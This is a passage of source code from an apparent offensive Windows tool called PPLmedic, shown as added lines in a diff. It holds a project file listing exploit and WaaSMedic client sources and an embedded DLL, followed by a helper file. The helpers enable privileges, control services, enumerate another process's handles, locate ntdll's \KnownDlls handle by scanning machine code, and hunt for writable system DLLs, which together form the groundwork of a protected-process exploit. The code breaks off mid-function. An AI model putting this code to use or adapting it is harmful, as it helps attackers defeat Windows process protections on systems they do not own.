     9 + <UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
     10 + <Extensions>h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd</Extensions>
     11 + </Filter>
     12 + <Filter Include="Resource Files">
     13 + <UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
     14 + <Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
     15 + </Filter>
     16 + </ItemGroup>
     17 + <ItemGroup>
     18 + <ClCompile Include="PPLmedic.cpp">
     19 + <Filter>Source Files</Filter>
     20 + </ClCompile>
     21 + <ClCompile Include="Utils.cpp">
     22 + <Filter>Source Files</Filter>
     23 + </ClCompile>
     24 + <ClCompile Include="Exploit.cpp">
     25 + <Filter>Source Files</Filter>
     26 + </ClCompile>
     27 + <ClCompile Include="WaaSMedicClient.cpp">
     28 + <Filter>Source Files</Filter>
     29 + </ClCompile>
     30 + <ClCompile Include="Client.cpp">
     31 + <Filter>Source Files</Filter>
     32 + </ClCompile>
     33 + <ClCompile Include="ExploitElevate.cpp">
     34 + <Filter>Source Files</Filter>
     35 + </ClCompile>
     36 + </ItemGroup>
     37 + <ItemGroup>
     38 + <ClInclude Include="Utils.h">
     39 + <Filter>Header Files</Filter>
     40 + </ClInclude>
     41 + <ClInclude Include="ntstuff.h">
     42 + <Filter>Header Files</Filter>
     43 + </ClInclude>
     44 + <ClInclude Include="Exploit.h">
     45 + <Filter>Header Files</Filter>
     46 + </ClInclude>
     47 + <ClInclude Include="WaaSMedicClient.h">
     48 + <Filter>Header Files</Filter>
     49 + </ClInclude>
     50 + <ClInclude Include="globaldef.h">
     51 + <Filter>Header Files</Filter>
     52 + </ClInclude>
     53 + <ClInclude Include="resource.h">
     54 + <Filter>Header Files</Filter>
     55 + </ClInclude>
     56 + <ClInclude Include="Client.h">
     57 + <Filter>Header Files</Filter>
     58 + </ClInclude>
     59 + <ClInclude Include="ExploitElevate.h">
     60 + <Filter>Header Files</Filter>
     61 + </ClInclude>
     62 + </ItemGroup>
     63 + <ItemGroup>
     64 + <ResourceCompile Include="PPLmedic.rc">
     65 + <Filter>Resource Files</Filter>
     66 + </ResourceCompile>
     67 + </ItemGroup>
     68 + <ItemGroup>
     69 + <None Include="..\x64\Release\PPLmedicDll.dll">
     70 + <Filter>Resource Files</Filter>
     71 + </None>
     72 + </ItemGroup>
     73 +</Project>
  • ■ ■ ■ ■ ■ ■
    PPLmedic/Utils.cpp
     1 +#include "Utils.h"
     2 + 
     3 +VOID Utils::PrintLastError()
     4 +{
     5 + LPWSTR pwszErrorMessage = NULL;
     6 + DWORD dwLastError;
     7 + 
     8 + dwLastError = ::GetLastError();
     9 + 
     10 + FormatMessageW(
     11 + FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_IGNORE_INSERTS,
     12 + NULL,
     13 + dwLastError,
     14 + MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT),
     15 + (LPWSTR)&pwszErrorMessage,
     16 + 0,
     17 + NULL
     18 + );
     19 + 
     20 + if (!pwszErrorMessage)
     21 + return;
     22 + 
     23 + wprintf(L"[-] Error code %d | 0x%08x | %ws", dwLastError, dwLastError, pwszErrorMessage);
     24 + 
     25 + LocalFree(pwszErrorMessage);
     26 +}
     27 + 
     28 +LPWSTR Utils::GenerateUuid()
     29 +{
     30 + UUID Uuid;
     31 + RPC_WSTR UuidRpcString = NULL;
     32 + LPWSTR UuidString = NULL;
     33 + 
     34 + EXIT_ON_ERROR(UuidCreate(&Uuid) != RPC_S_OK);
     35 + EXIT_ON_ERROR(UuidToStringW(&Uuid, &UuidRpcString) != RPC_S_OK);
     36 + EXIT_ON_ERROR(!(UuidString = (LPWSTR)LocalAlloc(LPTR, 64 * sizeof(WCHAR))));
     37 + 
     38 + swprintf(UuidString, 64, L"%ws", (LPWSTR)UuidRpcString);
     39 + 
     40 +cleanup:
     41 + if (UuidRpcString) RpcStringFreeW(&UuidRpcString);
     42 + 
     43 + return UuidString;
     44 +}
     45 + 
     46 +BOOL Utils::GenerateTempPath(IN OUT LPWSTR Buffer)
     47 +{
     48 + BOOL bResult = FALSE;
     49 + const DWORD dwBufferLength = MAX_PATH + 1;
     50 + LPWSTR pwszTempPath = NULL;
     51 + 
     52 + EXIT_ON_ERROR(!(pwszTempPath = (LPWSTR)LocalAlloc(LPTR, dwBufferLength * sizeof(WCHAR))));
     53 + EXIT_ON_ERROR(!GetTempPathW(dwBufferLength, pwszTempPath));
     54 + EXIT_ON_ERROR(!GetTempFileNameW(pwszTempPath, L"", 0, Buffer));
     55 + 
     56 + bResult = TRUE;
     57 + 
     58 +cleanup:
     59 + Utils::SafeFree((PVOID*)&pwszTempPath);
     60 + 
     61 + DEBUG(L"Temp path: %ws | Result: %d", Buffer, bResult);
     62 + 
     63 + return bResult;
     64 +}
     65 + 
     66 +VOID Utils::SafeCloseHandle(IN PHANDLE Handle)
     67 +{
     68 + if (Handle && *Handle && *Handle != INVALID_HANDLE_VALUE)
     69 + {
     70 + CloseHandle(*Handle);
     71 + *Handle = NULL;
     72 + }
     73 +}
     74 + 
     75 +VOID Utils::SafeFree(IN PVOID* Memory)
     76 +{
     77 + if (Memory && *Memory)
     78 + {
     79 + LocalFree(*Memory);
     80 + *Memory = NULL;
     81 + }
     82 +}
     83 + 
     84 +VOID Utils::SafeRelease(IN IUnknown** Interface)
     85 +{
     86 + if (Interface && *Interface)
     87 + {
     88 + (*Interface)->Release();
     89 + *Interface = NULL;
     90 + }
     91 + 
     92 + return VOID();
     93 +}
     94 + 
     95 +VOID Utils::SetLastErrorFromNtStatus(IN NTSTATUS Status)
     96 +{
     97 + if (Status != STATUS_SUCCESS)
     98 + SetLastError(RtlNtStatusToDosError(Status));
     99 +}
     100 + 
     101 +BOOL Utils::GetProcAddress(IN LPCWSTR Dll, IN LPCSTR ProcName, OUT FARPROC* ProcAddress)
     102 +{
     103 + BOOL bResult = FALSE;
     104 + HMODULE hModule;
     105 + FARPROC pProcAddr = NULL;
     106 + 
     107 + EXIT_ON_ERROR((hModule = GetModuleHandleW(Dll)) == NULL);
     108 + EXIT_ON_ERROR((pProcAddr = ::GetProcAddress(hModule, ProcName)) == NULL);
     109 + 
     110 + *ProcAddress = pProcAddr;
     111 + bResult = TRUE;
     112 + 
     113 +cleanup:
     114 + DEBUG(L"Proc @ 0x%llx", (DWORD64)pProcAddr);
     115 + 
     116 + return bResult;
     117 +}
     118 + 
     119 +// https://twitter.com/0xrepnz/status/1401118056294846467
     120 +// https://github.com/antonioCoco/MalSeclogon/blob/master/MalSeclogon.c
     121 +BOOL Utils::GetTypeIndexByName(IN LPCWSTR TypeName, OUT LPDWORD TypeIndex)
     122 +{
     123 + BOOL bResult = FALSE;
     124 + POBJECT_TYPES_INFORMATION ObjectTypes = NULL;
     125 + POBJECT_TYPE_INFORMATION CurrentType;
     126 + ULONG i;
     127 + 
     128 + *TypeIndex = 0;
     129 + 
     130 + EXIT_ON_ERROR(!Utils::EnumObjectTypes(&ObjectTypes));
     131 + 
     132 + CurrentType = (POBJECT_TYPE_INFORMATION)OBJECT_TYPES_FIRST_ENTRY(ObjectTypes);
     133 + for (i = 0; i < ObjectTypes->NumberOfTypes; i++)
     134 + {
     135 + if (CurrentType->TypeName.Buffer && !_wcsicmp(CurrentType->TypeName.Buffer, TypeName))
     136 + {
     137 + bResult = TRUE;
     138 + *TypeIndex = i + 2;
     139 + break;
     140 + }
     141 + 
     142 + CurrentType = (POBJECT_TYPE_INFORMATION)OBJECT_TYPES_NEXT_ENTRY(CurrentType);
     143 + }
     144 + 
     145 +cleanup:
     146 + if (ObjectTypes) LocalFree(ObjectTypes);
     147 + 
     148 + DEBUG(L"Object of type '%ws' has index: %d", TypeName, *TypeIndex);
     149 + 
     150 + return bResult;
     151 +}
     152 + 
     153 +BOOL Utils::GetServiceProcessId(IN LPCWSTR ServiceName, OUT LPDWORD ProcessId)
     154 +{
     155 + BOOL bResult = FALSE;
     156 + SERVICE_STATUS_PROCESS ssp;
     157 + 
     158 + *ProcessId = 0;
     159 + 
     160 + bResult = Utils::QueryServiceStatusProcessByName(ServiceName, &ssp);
     161 + *ProcessId = ssp.dwProcessId;
     162 + 
     163 + DEBUG(L"PID of service with name '%ws': %d", ServiceName, *ProcessId);
     164 + 
     165 + return bResult;
     166 +}
     167 + 
     168 +BOOL Utils::GetServiceStatusByHandle(IN SC_HANDLE ServiceHandle, OUT LPDWORD Status)
     169 +{
     170 + BOOL bResult = FALSE;
     171 + SERVICE_STATUS_PROCESS ssp;
     172 + 
     173 + *Status = 0;
     174 + 
     175 + bResult = Utils::QueryServiceStatusProcessByHandle(ServiceHandle, &ssp);
     176 + *Status = ssp.dwCurrentState;
     177 + 
     178 + DEBUG(L"State of service with handle 0x%04x: %d", HandleToULong(ServiceHandle), *Status);
     179 + 
     180 + return bResult;
     181 +}
     182 + 
     183 +BOOL Utils::GetServiceStatusByName(IN LPCWSTR ServiceName, OUT LPDWORD Status)
     184 +{
     185 + BOOL bResult = FALSE;
     186 + SERVICE_STATUS_PROCESS ssp;
     187 + 
     188 + *Status = 0;
     189 + 
     190 + bResult = Utils::QueryServiceStatusProcessByName(ServiceName, &ssp);
     191 + *Status = ssp.dwCurrentState;
     192 + 
     193 + DEBUG(L"State of service with name '%ws': %d", ServiceName, *Status);
     194 + 
     195 + return bResult;
     196 +}
     197 + 
     198 +// https://docs.microsoft.com/en-us/windows/win32/services/starting-a-service
     199 +BOOL Utils::StartServiceByName(IN LPCWSTR ServiceName, IN BOOL Wait)
     200 +{
     201 + BOOL bResult = FALSE;
     202 + SC_HANDLE hService = NULL;
     203 + SERVICE_STATUS_PROCESS ssp;
     204 + DWORD64 dwStartTime;
     205 + DWORD dwWaitTime;
     206 + 
     207 + dwStartTime = GetTickCount64();
     208 + 
     209 + EXIT_ON_ERROR(!Utils::GetServiceHandle(ServiceName, SERVICE_QUERY_STATUS | SERVICE_START, &hService));
     210 + EXIT_ON_ERROR(!StartServiceW(hService, 0, NULL));
     211 + EXIT_ON_ERROR(!Utils::QueryServiceStatusProcessByHandle(hService, &ssp));
     212 + 
     213 + if (Wait)
     214 + {
     215 + while (ssp.dwCurrentState != SERVICE_RUNNING)
     216 + {
     217 + dwWaitTime = ssp.dwWaitHint / 10;
     218 + 
     219 + if (dwWaitTime < 1000)
     220 + dwWaitTime = 1000;
     221 + else if (dwWaitTime > 10000)
     222 + dwWaitTime = 10000;
     223 + 
     224 + Sleep(dwWaitTime);
     225 + 
     226 + if (!Utils::QueryServiceStatusProcessByHandle(hService, &ssp))
     227 + break;
     228 + 
     229 + if (GetTickCount64() - dwStartTime > TIMEOUT)
     230 + {
     231 + SetLastError(ERROR_TIMEOUT);
     232 + break;
     233 + }
     234 + }
     235 + 
     236 + bResult = ssp.dwCurrentState == SERVICE_RUNNING;
     237 + }
     238 + else
     239 + {
     240 + bResult = TRUE;
     241 + }
     242 + 
     243 +cleanup:
     244 + if (hService) CloseServiceHandle(hService);
     245 + 
     246 + DEBUG(L"Result: %d", bResult);
     247 + 
     248 + return bResult;
     249 +}
     250 + 
     251 +// https://docs.microsoft.com/en-us/windows/win32/services/stopping-a-service
     252 +BOOL Utils::StopServiceByName(IN LPCWSTR ServiceName, IN BOOL Wait)
     253 +{
     254 + BOOL bResult = FALSE;
     255 + SC_HANDLE hService = NULL;
     256 + SERVICE_STATUS_PROCESS ssp;
     257 + DWORD64 dwStartTime;
     258 + DWORD dwWaitTime;
     259 + 
     260 + dwStartTime = GetTickCount64();
     261 + 
     262 + EXIT_ON_ERROR(!Utils::GetServiceHandle(ServiceName, SERVICE_QUERY_STATUS | SERVICE_STOP, &hService));
     263 + EXIT_ON_ERROR(!ControlService(hService, SERVICE_CONTROL_STOP, (LPSERVICE_STATUS)&ssp));
     264 + EXIT_ON_ERROR(!Utils::QueryServiceStatusProcessByHandle(hService, &ssp));
     265 + 
     266 + if (Wait)
     267 + {
     268 + INFO("Stopping service %ws...", ServiceName);
     269 + 
     270 + while (ssp.dwCurrentState != SERVICE_STOPPED)
     271 + {
     272 + DEBUG(L"Status: %d | Wait: %d", ssp.dwCurrentState, ssp.dwWaitHint);
     273 + 
     274 + dwWaitTime = ssp.dwWaitHint / 10;
     275 + 
     276 + if (dwWaitTime < 1000)
     277 + dwWaitTime = 1000;
     278 + else if (dwWaitTime > 10000)
     279 + dwWaitTime = 10000;
     280 + 
     281 + Sleep(dwWaitTime);
     282 + 
     283 + if (!Utils::QueryServiceStatusProcessByHandle(hService, &ssp))
     284 + break;
     285 + 
     286 + if (GetTickCount64() - dwStartTime > TIMEOUT)
     287 + {
     288 + SetLastError(ERROR_TIMEOUT);
     289 + break;
     290 + }
     291 + }
     292 + 
     293 + bResult = ssp.dwCurrentState == SERVICE_STOPPED;
     294 + }
     295 + else
     296 + {
     297 + bResult = TRUE;
     298 + }
     299 + 
     300 +cleanup:
     301 + if (hService) CloseServiceHandle(hService);
     302 + 
     303 + DEBUG(L"Result: %d", bResult);
     304 + 
     305 + if (!bResult)
     306 + ERROR(L"Failed to stop service %ws.", ServiceName);
     307 + 
     308 + return bResult;
     309 +}
     310 + 
     311 +BOOL Utils::IsServiceRunning(IN LPCWSTR ServiceName)
     312 +{
     313 + DWORD dwServiceStatus;
     314 + 
     315 + if (!Utils::GetServiceStatusByName(ServiceName, &dwServiceStatus))
     316 + return FALSE;
     317 + 
     318 + return dwServiceStatus == SERVICE_RUNNING;
     319 +}
     320 + 
     321 +BOOL Utils::FindUniqueHandleValueByTypeName(IN DWORD ProcessId, IN LPCWSTR TypeName, OUT PULONG HandleValue)
     322 +{
     323 + BOOL bResult = FALSE;
     324 + NTSTATUS status;
     325 + DWORD dwTypeIndex;
     326 + DWORD dwSysHandleInfoSize, dwReturnLength;
     327 + PSYSTEM_HANDLE_INFORMATION SysHandleInfo = NULL;
     328 + POBJECT_NAME_INFORMATION NameInfo = NULL;
     329 + SYSTEM_HANDLE_TABLE_ENTRY_INFO HandleInfo;
     330 + ULONG i, count = 0;
     331 + 
     332 + EXIT_ON_ERROR(!Utils::GetTypeIndexByName(TypeName, &dwTypeIndex));
     333 + 
     334 + dwSysHandleInfoSize = PAGE_SIZE;
     335 + do
     336 + {
     337 + if (!(SysHandleInfo = (PSYSTEM_HANDLE_INFORMATION)LocalAlloc(LPTR, dwSysHandleInfoSize)))
     338 + break;
     339 + 
     340 + status = NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemHandleInformation, SysHandleInfo, dwSysHandleInfoSize, &dwReturnLength);
     341 + if (NT_SUCCESS(status))
     342 + break;
     343 + 
     344 + dwSysHandleInfoSize *= 2;
     345 + LocalFree(SysHandleInfo);
     346 + SysHandleInfo = NULL;
     347 + 
     348 + if (dwSysHandleInfoSize > LARGE_BUFFER_SIZE)
     349 + return STATUS_INSUFFICIENT_RESOURCES;
     350 + 
     351 + } while (status == STATUS_INFO_LENGTH_MISMATCH);
     352 + 
     353 + EXIT_ON_ERROR(!SysHandleInfo);
     354 + EXIT_ON_ERROR(!(NameInfo = (POBJECT_NAME_INFORMATION)LocalAlloc(LPTR, 1024)));
     355 + 
     356 + for (i = 0; i < SysHandleInfo->NumberOfHandles; i++)
     357 + {
     358 + HandleInfo = SysHandleInfo->Handles[i];
     359 + 
     360 + if (HandleInfo.UniqueProcessId != ProcessId)
     361 + continue;
     362 + 
     363 + if (HandleInfo.ObjectTypeIndex == dwTypeIndex)
     364 + {
     365 + // Do not break if found, make sure we find only one handle with type "Directory".
     366 + *HandleValue = HandleInfo.HandleValue;
     367 + count++;
     368 + }
     369 + }
     370 + 
     371 + if (count == 0)
     372 + {
     373 + ERROR(L"No handle of type '%ws' was found in the process with PID %d.", TypeName, ProcessId);
     374 + goto cleanup;
     375 + }
     376 + else if (count > 1)
     377 + {
     378 + ERROR(L"More than one handle of type '%ws' was found in process with PID %d.", TypeName, ProcessId);
     379 + goto cleanup;
     380 + }
     381 + 
     382 + bResult = TRUE;
     383 + 
     384 +cleanup:
     385 + if (NameInfo) LocalFree(NameInfo);
     386 + if (SysHandleInfo) LocalFree(SysHandleInfo);
     387 + 
     388 + DEBUG(L"Handle of type '%ws' (count=%d) in process with PID %d: 0x%04x", TypeName, count, ProcessId, *HandleValue);
     389 + 
     390 + return bResult;
     391 +}
     392 + 
     393 +BOOL Utils::EnablePrivilege(IN LPCWSTR PrivilegeName)
     394 +{
     395 + BOOL bResult = FALSE;
     396 + HANDLE hToken = NULL;
     397 + DWORD dwTokenPrivilegesSize, dwPrivilegeNameLength;
     398 + PTOKEN_PRIVILEGES pTokenPrivileges = NULL;
     399 + DWORD i;
     400 + LUID_AND_ATTRIBUTES laa;
     401 + LPWSTR pwszPrivilegeNameTemp = NULL;
     402 + TOKEN_PRIVILEGES tp;
     403 + 
     404 + EXIT_ON_ERROR(!OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY | TOKEN_ADJUST_PRIVILEGES, &hToken));
     405 + 
     406 + if (!GetTokenInformation(hToken, TokenPrivileges, NULL, 0, &dwTokenPrivilegesSize))
     407 + {
     408 + if (GetLastError() != ERROR_INSUFFICIENT_BUFFER)
     409 + goto cleanup;
     410 + }
     411 + 
     412 + EXIT_ON_ERROR(!(pTokenPrivileges = (PTOKEN_PRIVILEGES)LocalAlloc(LPTR, dwTokenPrivilegesSize)));
     413 + EXIT_ON_ERROR(!GetTokenInformation(hToken, TokenPrivileges, pTokenPrivileges, dwTokenPrivilegesSize, &dwTokenPrivilegesSize));
     414 + 
     415 + for (i = 0; i < pTokenPrivileges->PrivilegeCount; i++)
     416 + {
     417 + laa = pTokenPrivileges->Privileges[i];
     418 + dwPrivilegeNameLength = 0;
     419 + 
     420 + if (!LookupPrivilegeNameW(NULL, &(laa.Luid), NULL, &dwPrivilegeNameLength))
     421 + {
     422 + EXIT_ON_ERROR(GetLastError() != ERROR_INSUFFICIENT_BUFFER);
     423 + }
     424 + 
     425 + dwPrivilegeNameLength++;
     426 + 
     427 + if (pwszPrivilegeNameTemp = (LPWSTR)LocalAlloc(LPTR, dwPrivilegeNameLength * sizeof(WCHAR)))
     428 + {
     429 + if (LookupPrivilegeNameW(NULL, &(laa.Luid), pwszPrivilegeNameTemp, &dwPrivilegeNameLength))
     430 + {
     431 + if (!_wcsicmp(pwszPrivilegeNameTemp, PrivilegeName))
     432 + {
     433 + ZeroMemory(&tp, sizeof(tp));
     434 + tp.PrivilegeCount = 1;
     435 + tp.Privileges[0].Luid = laa.Luid;
     436 + tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
     437 + 
     438 + if (AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL))
     439 + bResult = TRUE;
     440 + 
     441 + break;
     442 + }
     443 + }
     444 + 
     445 + LocalFree(pwszPrivilegeNameTemp);
     446 + }
     447 + }
     448 + 
     449 +cleanup:
     450 + DEBUG(L"Enable '%ws': %d", PrivilegeName, bResult);
     451 + 
     452 + if (pTokenPrivileges) LocalFree(pTokenPrivileges);
     453 + if (hToken) CloseHandle(hToken);
     454 +
     455 + return bResult;
     456 +}
     457 + 
     458 +BOOL Utils::GetRegistryStringValue(IN HKEY Key, IN LPCWSTR SubKey, IN LPCWSTR ValueName, OUT LPWSTR* ValueData)
     459 +{
     460 + BOOL bResult = FALSE;
     461 + LSTATUS status = ERROR_SUCCESS;
     462 + HKEY hKey = NULL;
     463 + DWORD dwDataSize = 0;
     464 + LPWSTR pwszStringData = NULL;
     465 + 
     466 + EXIT_ON_ERROR((status = RegOpenKeyExW(Key, SubKey, 0, KEY_QUERY_VALUE, &hKey)) != ERROR_SUCCESS);
     467 + EXIT_ON_ERROR((status = RegQueryValueExW(hKey, ValueName, NULL, NULL, NULL, &dwDataSize)) != ERROR_SUCCESS);
     468 + EXIT_ON_ERROR(!(pwszStringData = (LPWSTR)LocalAlloc(LPTR, dwDataSize)));
     469 + EXIT_ON_ERROR((status = RegQueryValueExW(hKey, ValueName, NULL, NULL, (LPBYTE)pwszStringData, &dwDataSize)) != ERROR_SUCCESS);
     470 +
     471 + *ValueData = pwszStringData;
     472 + bResult = TRUE;
     473 + 
     474 +cleanup:
     475 + if (!bResult && pwszStringData) LocalFree(pwszStringData);
     476 + if (hKey) RegCloseKey(hKey);
     477 + Utils::SetLastErrorFromNtStatus(status);
     478 + 
     479 + DEBUG(L"Key: %ws | Value: %ws | Data: %ws | Status: 0x%08x", SubKey, ValueName, pwszStringData, status);
     480 + 
     481 + return bResult;
     482 +}
     483 + 
     484 +BOOL Utils::SetRegistryStringValue(IN HKEY Key, IN LPCWSTR SubKey, IN LPCWSTR ValueName, IN LPCWSTR ValueData)
     485 +{
     486 + BOOL bResult = FALSE;
     487 + LSTATUS status = ERROR_SUCCESS;
     488 + HKEY hKey = NULL;
     489 + DWORD dwDataSize;
     490 + 
     491 + dwDataSize = ((DWORD)wcslen(ValueData) + 1) * sizeof(WCHAR);
     492 + 
     493 + EXIT_ON_ERROR((status = RegOpenKeyExW(Key, SubKey, 0, KEY_SET_VALUE, &hKey)) != ERROR_SUCCESS);
     494 + EXIT_ON_ERROR((status = RegSetValueExW(hKey, ValueName, NULL, REG_SZ, (BYTE*)ValueData, dwDataSize)) != ERROR_SUCCESS);
     495 + 
     496 + bResult = TRUE;
     497 + 
     498 +cleanup:
     499 + if (hKey) RegCloseKey(hKey);
     500 + Utils::SetLastErrorFromNtStatus(status);
     501 + 
     502 + DEBUG(L"Key: %ws | Value: %ws | Data: %ws | Status: 0x%08x", SubKey, ValueName, ValueData, status);
     503 + 
     504 + return bResult;
     505 +}
     506 + 
     507 +BOOL Utils::GetKnownDllsHandleAddress(OUT PULONG_PTR Address)
     508 +{
     509 + BOOL bResult = FALSE;
     510 + HMODULE hNtdll = NULL;
     511 + DWORD i, dwSectionSize, dwIndex, dwMaxSize = 0x1000, dwCurrentCode;
     512 + LPVOID pLdrGetKnownDllSectionHandle, pSectionAddress = NULL, pKnownDllsHandleAddr = NULL, pDataAddr;
     513 + PIMAGE_DOS_HEADER DosHeader;
     514 + PIMAGE_NT_HEADERS NtHeaders;
     515 + PIMAGE_SECTION_HEADER SectionHeader;
     516 + POBJECT_NAME_INFORMATION ObjectInfo = NULL;
     517 + 
     518 + EXIT_ON_ERROR(!Utils::GetProcAddress(STR_MOD_NTDLL, STR_PROC_LDRGETKNOWNDLLSECTIONHANDLE, (FARPROC*)&pLdrGetKnownDllSectionHandle));
     519 + EXIT_ON_ERROR((hNtdll = GetModuleHandleW(STR_MOD_NTDLL)) == NULL);
     520 + 
     521 + DosHeader = (PIMAGE_DOS_HEADER)hNtdll;
     522 + NtHeaders = RVA2VA(PIMAGE_NT_HEADERS, hNtdll, DosHeader->e_lfanew);
     523 + SectionHeader = (PIMAGE_SECTION_HEADER)((LPBYTE)&NtHeaders->OptionalHeader + NtHeaders->FileHeader.SizeOfOptionalHeader);
     524 + 
     525 + for (i = 0; i < NtHeaders->FileHeader.NumberOfSections; i++)
     526 + {
     527 + if (!strcmp((char*)SectionHeader[i].Name, ".data"))
     528 + {
     529 + pSectionAddress = RVA2VA(PULONG_PTR, hNtdll, SectionHeader[i].VirtualAddress);
     530 + dwSectionSize = SectionHeader[i].Misc.VirtualSize;
     531 + break;
     532 + }
     533 + }
     534 + 
     535 + EXIT_ON_ERROR(pSectionAddress == 0 || dwSectionSize == 0);
     536 + EXIT_ON_ERROR(!(ObjectInfo = (POBJECT_NAME_INFORMATION)LocalAlloc(LPTR, 1024)));
     537 + 
     538 + dwIndex = 0;
     539 + do
     540 + {
     541 + // If we reach the RET instruction, we found the end of the function.
     542 + if (*(PWORD)pLdrGetKnownDllSectionHandle == 0xccc3 || dwIndex >= dwMaxSize)
     543 + break;
     544 + 
     545 + // 1. Read the 4 bytes at the current position => Potential RIP relative offset.
     546 + // 2. Add the offset to the current position => Absolute address.
     547 + // 3. Check if the calculated address is in the .data section.
     548 + // 4. If so, we have a candidate, check if we can find the \KnownDlls handle at this address.
     549 + dwCurrentCode = *(PDWORD)pLdrGetKnownDllSectionHandle;
     550 + pDataAddr = (PBYTE)pLdrGetKnownDllSectionHandle + sizeof(dwCurrentCode) + dwCurrentCode;
     551 + if (pDataAddr >= pSectionAddress && pDataAddr < ((PBYTE)pSectionAddress + dwSectionSize))
     552 + {
     553 + if (NT_SUCCESS(NtQueryObject(*(LPHANDLE)pDataAddr, ObjectNameInformation, ObjectInfo, MAX_PATH, NULL)))
     554 + {
     555 + if (ObjectInfo->Name.Buffer && !wcscmp(ObjectInfo->Name.Buffer, STR_KNOWNDLLS))
     556 + {
     557 + pKnownDllsHandleAddr = pDataAddr;
     558 + break;
     559 + }
     560 + }
     561 + }
     562 + 
     563 + pLdrGetKnownDllSectionHandle = (PBYTE)pLdrGetKnownDllSectionHandle + 1;
     564 + dwIndex += 1;
     565 + 
     566 + } while (!pKnownDllsHandleAddr);
     567 + 
     568 + EXIT_ON_ERROR(!pKnownDllsHandleAddr);
     569 + 
     570 + *Address = (ULONG_PTR)pKnownDllsHandleAddr;
     571 + bResult = TRUE;
     572 + 
     573 +cleanup:
     574 + Utils::SafeFree((PVOID*)&ObjectInfo);
     575 + 
     576 + DEBUG(L"KnownDlls handle @ 0x%llx | Result: %d", (DWORD64)pKnownDllsHandleAddr, bResult);
     577 + 
     578 + return bResult;
     579 +}
     580 + 
     581 +BOOL Utils::GetEmbeddedResource(IN DWORD ResourceId, OUT LPVOID* Buffer, OUT LPDWORD Size)
     582 +{
     583 + BOOL bResult = FALSE;
     584 + LPVOID lpData = NULL;
     585 + HRSRC hResource = NULL;
     586 + HGLOBAL hResourceData = NULL;
     587 + DWORD dwResourceSize = 0;
     588 + 
     589 + EXIT_ON_ERROR(!(hResource = FindResourceW(NULL, MAKEINTRESOURCE(ResourceId), RT_RCDATA)));
     590 + EXIT_ON_ERROR(!(dwResourceSize = SizeofResource(NULL, hResource)));
     591 + EXIT_ON_ERROR(!(hResourceData = LoadResource(NULL, hResource)));
     592 + EXIT_ON_ERROR(!(lpData = LockResource(hResourceData)));
     593 + 
     594 + *Buffer = lpData;
     595 + *Size = dwResourceSize;
     596 + bResult = TRUE;
     597 + 
     598 +cleanup:
     599 + DEBUG(L"Buffer @ 0x%p (size: %d) | Result: %d", lpData, dwResourceSize, bResult);
     600 + 
     601 + return bResult;
     602 +}
     603 + 
     604 +BOOL Utils::FindWritableSystemDll(IN DWORD MinSize, OUT LPWSTR* FilePath)
     605 +{
     606 + BOOL bResult = FALSE, bCurrentDirectoryChanged = FALSE;
     607 + LPWSTR pwszCurrentDirectory = NULL, pwszSystemDirectory = NULL, pwszFilePath = NULL;
     608 + WIN32_FIND_DATA wfd;
     609 + HANDLE hFind = NULL, hFile = NULL;
     610 + DWORD dwFileSize;
     611 + 
     612 + EXIT_ON_ERROR(!(pwszCurrentDirectory = (LPWSTR)LocalAlloc(LPTR, (MAX_PATH + 1) * sizeof(WCHAR))));
     613 + EXIT_ON_ERROR(!(pwszSystemDirectory = (LPWSTR)LocalAlloc(LPTR, (MAX_PATH + 1) * sizeof(WCHAR))));
     614 + EXIT_ON_ERROR(!(pwszFilePath = (LPWSTR)LocalAlloc(LPTR, (MAX_PATH + 1) * sizeof(WCHAR))));
     615 + EXIT_ON_ERROR(!GetCurrentDirectoryW(MAX_PATH, pwszCurrentDirectory));
     616 + EXIT_ON_ERROR(!GetSystemDirectoryW(pwszSystemDirectory, MAX_PATH));
     617 + EXIT_ON_ERROR(!SetCurrentDirectoryW(pwszSystemDirectory));
     618 +
     619 + bCurrentDirectoryChanged = TRUE;
     620 + 
     621 + EXIT_ON_ERROR((hFind = FindFirstFileW(L"*.dll", &wfd)) == INVALID_HANDLE_VALUE);
     622 + 
     623 + do
     624 + {
     625 + if ((hFile = CreateFileW(wfd.cFileName, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL)) == INVALID_HANDLE_VALUE)
     626 + goto loopcleanup;
     627 + 
     628 + dwFileSize = GetFileSize(hFile, NULL);
     629 + 
     630 + if (dwFileSize == INVALID_FILE_SIZE || dwFileSize < MinSize)
     631 + goto loopcleanup;
     632 + 
     633 + if (!(*FilePath = (LPWSTR)LocalAlloc(LPTR, (MAX_PATH + 1) * sizeof(WCHAR))))
     634 + goto loopcleanup;
     635 + 
     636 + swprintf_s(*FilePath, MAX_PATH, L"%ws\\%ws", pwszSystemDirectory, wfd.cFileName);
     637 + bResult = TRUE;
     638 + 
     639 + loopcleanup:
     640 + Utils::SafeCloseHandle(&hFile);
     641 + 
     642 + } while (FindNextFileW(hFind, &wfd) && !bResult);
     643 + 
     644 +cleanup:
     645 + if (bCurrentDirectoryChanged) SetCurrentDirectoryW(pwszCurrentDirectory);
     646 + if (hFind && hFind != INVALID_HANDLE_VALUE) FindClose(hFind);
     647 + Utils::SafeFree((PVOID*)&pwszCurrentDirectory);
     648 + Utils::SafeFree((PVOID*)&pwszSystemDirectory);
     649 + Utils::SafeFree((PVOID*)&pwszFilePath);
     650 + 
     651 + DEBUG(L"File: %ws | Result: %d", *FilePath, bResult);
     652 + 
     653 + return bResult;
     654 +}
     655 + 
     656 +BOOL Utils::FindModuleSection(IN HMODULE Module, IN LPCSTR SectionName, OUT PULONG_PTR Address, OUT LPDWORD Size)
     657 +{
     658 + BOOL bResult = FALSE;
     659 + const DWORD dwBufferSize = PAGE_SIZE;
